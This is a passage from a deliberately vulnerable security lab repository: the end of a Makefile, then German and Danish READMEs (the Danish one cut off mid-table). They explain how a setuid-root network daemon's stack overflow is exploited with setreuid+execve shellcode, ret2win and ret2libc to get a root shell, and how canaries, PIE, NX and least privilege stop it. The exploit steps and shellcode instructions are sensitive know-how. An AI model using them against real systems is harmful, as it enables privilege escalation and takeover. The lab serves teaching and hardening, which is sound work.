@echo " gdb -q ./foosd"
@echo " (gdb) break foosd.c:392 # the read() that overflows"
@echo " (gdb) run -p 2343"
@echo " (gdb) info registers rsp rbp"
# -----------------------------------------------------------------------------
# clean. NOTE: after `make setuid` the binary is root-owned; rm works (delete
# permission lives on the directory) but recompiling over it does not. If make
# fails with "Permission denied" here, run `sudo make clean` first.
# -----------------------------------------------------------------------------
clean:
rm -f foosd foosc foosd_hardened shellcode.bin
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
rm -f tests/pty_suid_test
@echo "=== cleaned. (foosd.log is left alone; it is your evidence.)"
.PHONY: all setuid unsetuid status run stop test test-suid verify \
verify-shellcode hardened test-hardened debug clean

406
suid/README.DE.md Normal file
View file

@ -0,0 +1,406 @@
# SUID-Root-RCE-Labor — `foosd` (Daemon) + `foosc` (Exploit)
Ein Begleiter zum übergeordneten Labor (`food` / `fooc`, ein gewöhnlicher
Daemon, bei dem ein Pufferüberlauf eine *Benutzer*-Shell liefert). Dieses fügt
die gefährlichste Ein-Zeichen-Änderung in Unix hinzu: das **Setuid-Bit**.
> `chmod u+s` verwandelt „der Angreifer kann Code auf diesem Host ausführen" in
> „der Angreifer kann auf diesem Host Code als **root** ausführen".
Dieser Satz ist das gesamte Labor. Alles darunter ist der Mechanismus darunter,
aufgeschrieben, damit du beim Schreiben eigener Software genau weißt, welche
zwei oder drei Dateisystem-Attribute und Compiler-Flags entscheiden, ob ein
Speichersicherheitsbug in deinem Code eine Belästigung oder eine Root-Shell ist.
Die finale Demo, wenn `foosd` setuid-root ist, ist eine **Root-Shell**, die
über das Netzwerk geöffnet wird, indem 32 Bytes handgeschriebener Shellcode
ausgeführt werden.
---
## 1. Was das Setuid-Bit tatsächlich tut
Jeder Prozess unter Linux trägt drei User-IDs, und das Setuid-Bit bastelt an
der Beziehung zwischen ihnen:
| ID | Name | Bedeutung |
|----|------|---------|
| `ruid` | reale User-ID | das Konto, das den Prozess *gestartet* hat |
| `euid` | effektive User-ID | was der Kernel bei der Durchsetzung von Zugriffsrechten prüft |
| (saved) | gespeicherte Set-User-ID | ein „Slot", in den ein privilegierter Prozess später zurückkehren darf |
Ein normales Programm hat `ruid == euid`. Wenn du ein Binärprogramm mit
gesetztem Setuid-Bit ausführst, das root gehört:
```text
ruid = du (z. B. 1000, "hanez")
euid = der Besitzer (z. B. 0, "root")
```
Der Prozess hat also **roots Autorität**, obwohl der Benutzer, der ihn
gestartet hat, völlig gewöhnlich ist. Jede Prüfung, die der Kernel durchführt —
kann dieser Prozess `/etc/shadow` lesen? eine Datei schreiben? einen anderen
Prozess töten? — wird mit `euid` beantwortet, d. h. „ja, es ist root".
`foosd` ist ein Netzwerk-Daemon. Er bindet einen Port und `fork()`t dann pro
Verbindung ein Kind. Ein Fork *erbt* die euid, also ist auch jedes Kind, das
eine Verbindung behandelt, root. Der Overflow in `foosd`s
`vulnerable_handler()` ist daher ein Overflow *in einem Root-Prozess*.
**Diagnostiziere es selbst, sobald der Daemon läuft:**
```console
$ ./foosd ... # siehe die Log-Zeile beim Start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
und vom Exploit aus:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Das Labor auf einen Blick
| Datei | Rolle |
|------|------|
| `foosd.c` | Der absichtlich angreifbare Daemon (besitzt die Bugs). Für die Root-Shell-Demo als *setuid-root*-Binärprogramm ausführen. |
| `foosc.c` | Der Exploit. Standard: die 32-Byte-`setreuid + execve`-Shellcode-Technik. |
| `shellcode.S` | Der Referenz-Shellcode; `make verify` vergleicht ihn mit dem Byte-Array in `foosc.c`. |
| `tests/pty_suid_test.c` | Test-Harness. Treibt `foosc` durch ein Pseudo-Terminal und beweist sowohl „eine Shell lief" als auch „sie war root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-Helfer, Test-Matrix. |
| `README.md` | Diese Datei. |
> **Warum eine pty?** Die letzte Aktion des Exploits ist es, dein Terminal an
> die Shell weiterzuleiten, die auf dem Opfer läuft. Eine Pipe oder ein
> Here-Doc landet am falschen Ende dieser Weiterleitung; ein echtes Terminal
> ist erforderlich.
---
## 3. Schnellstart
```console
$ make # alles bauen, als dein normaler Benutzer
$ make setuid # einmalig, fragt nach sudo: chown root + chmod u+s
$ make run # startet foosd auf 127.0.0.1:2343
$ make test-suid # volle Matrix; shellcode + ret2win-root müssen root ergeben
```
Interaktiver Smoke-Test:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du bist root, auf dem Opfer
# exit
```
Wenn du fertig bist:
```console
$ make stop
$ make unsetuid # Hygiene: nie ein Root-SUID-Binärprogramm liegen lassen
```
---
## 4. *Wann sollte ich das SUID-Bit setzen?* — die Antwort, die du wolltest
Genau **einmal, nach dem Bauen, vor dem Start des Daemons für die
Root-Shell-Demos** — und nur auf einer Maschine, die dir gehört, wegwerfbar und
vom Netzwerk getrennt ist:
```console
$ make # kompiliere foosd, foosc, tests
$ make setuid # <-- DER Moment. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # starte NACH dem Setzen des Bits
```
Zwei Regeln, die wichtiger sind als der exakte Zeitpunkt:
1. **Setze es erst, wenn das Binärprogramm final ist.** Wenn du das Bit setzt
und danach neu baust (`make` / `make clean`), bekommst du beim Schreiben der
root-gehörigen Ausgabedatei ein „Permission denied" — und wenn du den
Rebuild erzwingst, erstellt die Toolchain die Datei **ohne** das `s` neu,
womit die Einrichtung still rückgängig gemacht wird. Die kanonische
Reihenfolge bei jedem Rebuild ist daher
```console
$ make unsetuid && make && make setuid
```
2. **Entferne es, wenn du fertig bist.** `make unsetuid`. Ein lebendes,
root-gehöriges Setuid-Binärprogramm mit einem ausnutzbaren Bug in deinem
Baum ist kein Lernmittel, sondern ein Root-Loch mit einem Compilefehler
zwischen ihm und nirgendwo. Auf einer geteilten oder Produktionsmaschine:
**mach davon nichts.** Der Daemon weigert sich außerdem standardmäßig,
etwas anderes als Loopback zu binden (siehe §7).
Wenn du den Exploit *ohne* je gesetztes Bit ausführst, bricht nichts — der
Payload landet trotzdem und du bekommst trotzdem eine Shell. Der Unterschied
steckt in einer Zahl, und der Exploit sagt sie laut:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Dieses „funktioniert, aber nicht root" ist selbst Teil des Labors. Behalte es
für den nächsten Abschnitt im Kopf.
---
## 5. Der Mechanismus — und die Wendung, die SUID interessant macht
### 5.1 Der Overflow (identisch zu `food`)
`foosd`s Handler gibt einem `read()` 512 Bytes Vertrauen, während er ihm einen
64-Byte-Stack-Puffer reicht:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 Bytes über die Kante */
```
Auf x86-64 wächst der Stack nach unten. Der Exploit schreibt 64 Bytes Müll, um
`buf` zu füllen, 8, um den gespeicherten Frame-Pointer zu füllen, und 8 mehr,
um die **gespeicherte Rücksprungadresse** zu ersetzen. Wenn
`vulnerable_handler` das `ret` ausführt, poppt die CPU den Wert des Angreifers
in `RIP` — vom Angreifer kontrollierte Codeausführung. Der Exploit ermittelt
den exakten Abstand (88 Bytes für diesen Build), indem er die `objdump`-Ausgabe
parst, statt ihn hart zu verdrahten, sodass die Zahl Rebuilds überlebt.
### 5.2 Die Wendung: Die Shell weigert sich, root zu sein
Hier geht „SUID-Bug → /bin/sh spawne → root" fehl, und das ist der Grund,
warum dieses Labor genau diese Form hat.
Wenn ein setuid-root-Programm läuft, ist sein `ruid` immer noch der
startende Benutzer und sein `euid` ist root. Wenn das Programm — oder der
Angreifer — jetzt eine Shell startet:
* `execve("/bin/sh")` ändert die uids **nicht**; der neue Prozess erbt
`(ruid=1000, euid=0)`.
* bash (und dash) **prüfen genau diese Bedingung beim Start**. Aus dem
bash-Handbuch: *„If the shell is started with the effective user (group) id
not equal to the real user (group) id, and the -p option is not supplied, …
the effective user id is set to the real user id."*
Die Shell wirft also einen Blick auf sich selbst und *lässt root fallen* — eine
Verteidigung, die die Shell-Autoren genau gegen diesen Angriff gebaut haben
(die historische Rechtfertigung war das Setuid-Shell-/Setuid-Skript-Problem).
Das Ergebnis sind die „funktioniert, aber nicht root"-Fälle:
| Technik | Was sie ausführt | Resultierende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — Shell gelandet, root von bash zurückgesetzt |
| `ret2libc` | `system("/bin/sh")` → frisches `sh -c '/bin/sh'` | **1000** — gleiches Zurücksetzen, eine Ebene tiefer |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid aus C heraus geleert |
| `shellcode` | 32 Bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid aus Maschinencode geleert |
Die beiden, die root erreichen, unterscheiden sich von den beiden, die es
nicht tun, um genau eine Idee: **sie leeren die *reale* uid, nicht nur die
effektive.**
```c
setuid(0) /* setzt euid auf 0, aber ruid bleibt 1000:
bash sieht weiterhin euid != ruid und setzt IMMER NOCH
zurück. */
setreuid(0, 0) /* setzt BEIDE: ruid = euid = 0.
bash sieht gleiche uids und behält root. */
```
Deshalb beginnt der klassische `/bin/sh`-Shellcode, den du überall im Internet
findest, mit einem uid-leerenden Syscall — und deshalb ist der Shellcode hier
32 Bytes statt 23: Die ersten fünf Anweisungen sind
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Also, was ist der Exploit Ende-zu-Ende?
1. `foosc` liest `foosd`s Banner über den Socket. Es bekommt:
- `ids=0/1000` — euid/ruid (die SUID-Selbstdiagnose)
- `stack=…` und `libc=…` — Pointer (die ASLR-Leaks)
- `BUF=…` — die exakte Adresse des Puffers, den es gleich überlaufen lässt
2. Aus dem Ziel-Binärprogramm (via `objdump`) lernt es `rip_off` und die
Adressen von `win()` / `win_root()`.
3. Aus *seiner eigenen* libc (via `/proc/self/maps` + `dlsym` + einen
Speicherscan) misst es die Offsets von `system`, `read`, `/bin/sh` und
eines `pop rdi; ret`-Gadgets — nichts ist hart verdrahtet.
4. Es setzt den Payload zusammen. Für `-t shellcode` ist das:
`[32-Byte-setreuid+execve-Code][Padding bis RIP][ret-Fix][Adresse von buf]`.
5. `foosd`s `read()` läuft über; `ret` landet auf dem Shellcode; der Kernel
führt `setreuid(0,0)` aus (ok: euid 0 ist privilegiert) und danach `execve`
von `/bin/sh`. bash startet mit `ruid == euid == 0` und bleibt root.
6. `foosc` leitet dein Terminal an diese Root-Shell weiter, bis du `exit`
tippst.
Ein Details zur Absicherung, das Leute viel Zeit kostet, wenn es übersehen
wird: Der Exploit testet jedes uid-leerende Verhalten **ohne** das benötigte
Setuid-Bit zuerst. Führe `make test` vor `make setuid` aus, und du siehst jede
Technik eine Shell landen, während `ROOT=MISSING` dasteht; führe `make
test-suid` nach `make setuid` aus, und `ROOT=SEEN` erscheint bei den zwei
Techniken, die die reale uid leeren. Dieses A/B ist die ganze Lektion,
ausführbar in zehn Sekunden.
---
## 6. Die alten Einzeiler — und warum die meisten von ihnen tot sind
Wenn du über SUID gelesen hast, hast du über `PATH`-Hijacking, `LD_PRELOAD`
und Setuid-Shells gelesen. Alle drei sind klassisch, und alle drei scheitern
auf einem modernen System gegen *dieses Programm*. Es lohnt sich, genau zu
wissen, warum, denn die Gründe sind die Verteidigungen, die du gratis
bekommst:
| Angriffsklasse | Alte Behauptung | Warum sie auf einem modernen Rechner scheitert |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. |
| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. |
| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) |
| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. |
Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen
*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst,
dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt,
solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den
uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell
übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in
`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und
No-Execute-Stacks keine Modeentscheidung.
---
## 7. Die in den Daemon eingebauten Sicherheitsleitplanken
`foosd` ist absichtlich das *schlechteste* Stück Software in diesem
Repository, also trägt es auch die meisten Leitplanken:
1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als
Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener
auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung
ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden
muss.
2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root
läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt.
3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten
Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe
und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden
können.
4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den
der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine
erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu
sein.
5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt
zu lassen ist der Ausfallmodus, den Leute tatsächlich haben.
---
## 8. Gegenmaßnahmen — was jede stoppt und was nicht
Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen:
| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. |
| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). |
| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). |
| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". |
Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build
eintauscht und zeigt, wie alle Techniken am Canary sterben, während
`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet.
Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch
das übergeordnete Labor (`food`) nutzt:
- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024)
hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und
dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen
und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode
als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des
Labors).
- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte
Zeile schlägt jede Compiler-Flag in der Tabelle.
---
## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die
Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner
es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt,
ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`).
Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` —
sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig
erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als
Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden
ließ.
* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc,
exakte Adressen zu berechnen.
---
## 10. Übungen
1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make
setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der
ruid/euid-Geschichte aus §5.2.
2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann
`foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des
Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung
kontrolliert.
3. **Füge den Canary hinzu.** `make hardened` und ändere die
`test-hardened`-Schleife selbst; die Log-Zeile
`*** stack smashing detected ***` ist die arbeitende Verteidigung.
4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus,
baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem
Ratespiel wird. Diese eine Zeile ist der Grund, warum echte
ASLR-Bypasses ein ganzes Feld sind.
5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh",
"sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root.
`-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der
Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups
unvollständig ist.
6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er
`setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet
trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste
Ein-Zeilen-Experiment im gesamten Repository.
---
## 11. Sicherheit und Aufräumen
- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine
Wegwerf-VM sollte es überhaupt in Betracht ziehen.
- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die
wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört.
- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum
wieder makellos willst: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

389
suid/README.DK.md Normal file
View file

@ -0,0 +1,389 @@
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig
daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den
farligste en-tegns-ændring i Unix: **setuid-bitten**.
> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til
> "angriberen kan køre kode som **root** på denne host".
Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet
ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre
filsystem-attributter og compiler-flag der afgør, om en
hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell.
Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes
over netværket ved at udføre 32 bytes håndskrevet shellcode.
---
## 1. Hvad setuid-bitten rent faktisk gør
Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved
forholdet mellem dem:
| ID | Navn | Betydning |
|----|------|---------|
| `ruid` | reelle user-ID | kontoen, der *startede* processen |
| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang |
| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere |
Et normalt program har `ruid == euid`. Når du udfører en binærfil med
setuid-bitten sat, ejet af root:
```text
ruid = dig (fx. 1000, "hanez")
euid = ejeren (fx. 0, "root")
```
Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er
helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse
`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`,
dvs. "ja, den er root".
`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn
per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en
forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er
derfor et overløb *inde i en root-proces*.
**Diagnosticér det selv, når daemonen kører:**
```console
$ ./foosd ... # se den loglinje, den printer ved start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
og fra exploitet:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Laboratoriet ved et øjekast
| Fil | Rolle |
|------|------|
| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. |
| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. |
| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. |
| `README.md` | Denne fil. |
> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal
> til shellen, der udfører på offeret. En pipe eller her-doc lander i den
> forkerte ende af den videresendelse; en ægte terminal er påkrævet.
---
## 3. Hurtig start
```console
$ make # byg alt, som din normale bruger
$ make setuid # én gang, spørger om sudo: chown root + chmod u+s
$ make run # start foosd på 127.0.0.1:2343
$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root
```
Interaktiv rygeprøve:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
# exit
```
Når du er færdig:
```console
$ make stop
$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil
```
---
## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om
Præcis **én gang, efter bygningen, før du starter daemonen til
root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide
væk og frakoblet netværket:
```console
$ make # kompilér foosd, foosc, tests
$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start EFTER at have sat bitten
```
To regler, der betyder mere end det præcise tidspunkt:
1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` /
`make clean`), efter du har sat bitten, rammer du et "Permission denied",
når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen,
genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt
opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor
```console
$ make unsetuid && make && make setuid
```
2. **Fjern den, når du er færdig.** `make unsetuid`. En levende,
root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et
læremiddel, det er et root-hul med en kompileringsfejl mellem sig og
ingenting. På en delt eller produktionsmaskine: **lav ikke noget af
dette.** Daemonen nægter desuden som standard at binde andet end loopback
(se §7).
Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker
— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal,
og exploitet siger det højt:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det
til næste afsnit.
---
## 5. Mekanismen — og drejningen, der gør SUID interessant
### 5.1 Overløbet (identisk med `food`)
`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et
64-byte stack-buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
```
På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde
`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den
**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en
angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet
finder den præcise afstand (88 bytes for denne build) ved at parse
`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger.
### 5.2 Drejningen: shellen nægter at være root
Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og
hvorfor dette laboratorium har præcis den form, det har.
Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger,
og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en
shell:
* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver
`(ruid=1000, euid=0)`.
* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen:
*"If the shell is started with the effective user (group) id not equal to
the real user (group) id, and the -p option is not supplied, … the effective
user id is set to the real user id."*
Så shellen kigger på sig selv og *dropper root* — et forsvar, som
shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse
var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke
root"-tilfældene:
| Teknik | Hvad den udfører | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash |
| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé:
**de rydder den *reelle* uid, ikke kun den effektive.**
```c
setuid(0) /* sætter euid til 0, men ruid forbliver 1000:
bash ser stadig euid != ruid og nulstiller STADIG. */
setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0.
bash ser lige uider og beholder root. */
```
Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på
internettet, starter med et uid-ryddende syscall — og det er grunden til, at
shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Så hvad er exploitet, ende til ende?
1. `foosc` læser `foosd`s banner over socket'en. Det får:
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
- `stack=…` og `libc=…` — pointers (ASLR-leaksene)
- `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over
2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på
`win()` / `win_root()`.
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan)
måler det offsets for `system`, `read`, `/bin/sh` og et
`pop rdi; ret`-gadget — intet er hardkodet.
4. Det samler payloaden. For `-t shellcode` er det:
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører
`setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af
`/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root.
6. `foosc` videresender din terminal til den root-shell, indtil du skriver
`exit`.
Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses:
exploitet tester hver uid-ryddende adfærd **uden** først at have brug for
setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik
lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make
setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle
uid. Det A/B er hele lektionen, udførligt på ti sekunder.
---
## 6. De gamle one-liners — og hvorfor de fleste af dem er døde
Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og
setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system
mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de
forsvar, du får gratis:
| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine |
|--------------|-----------|------------------------------|
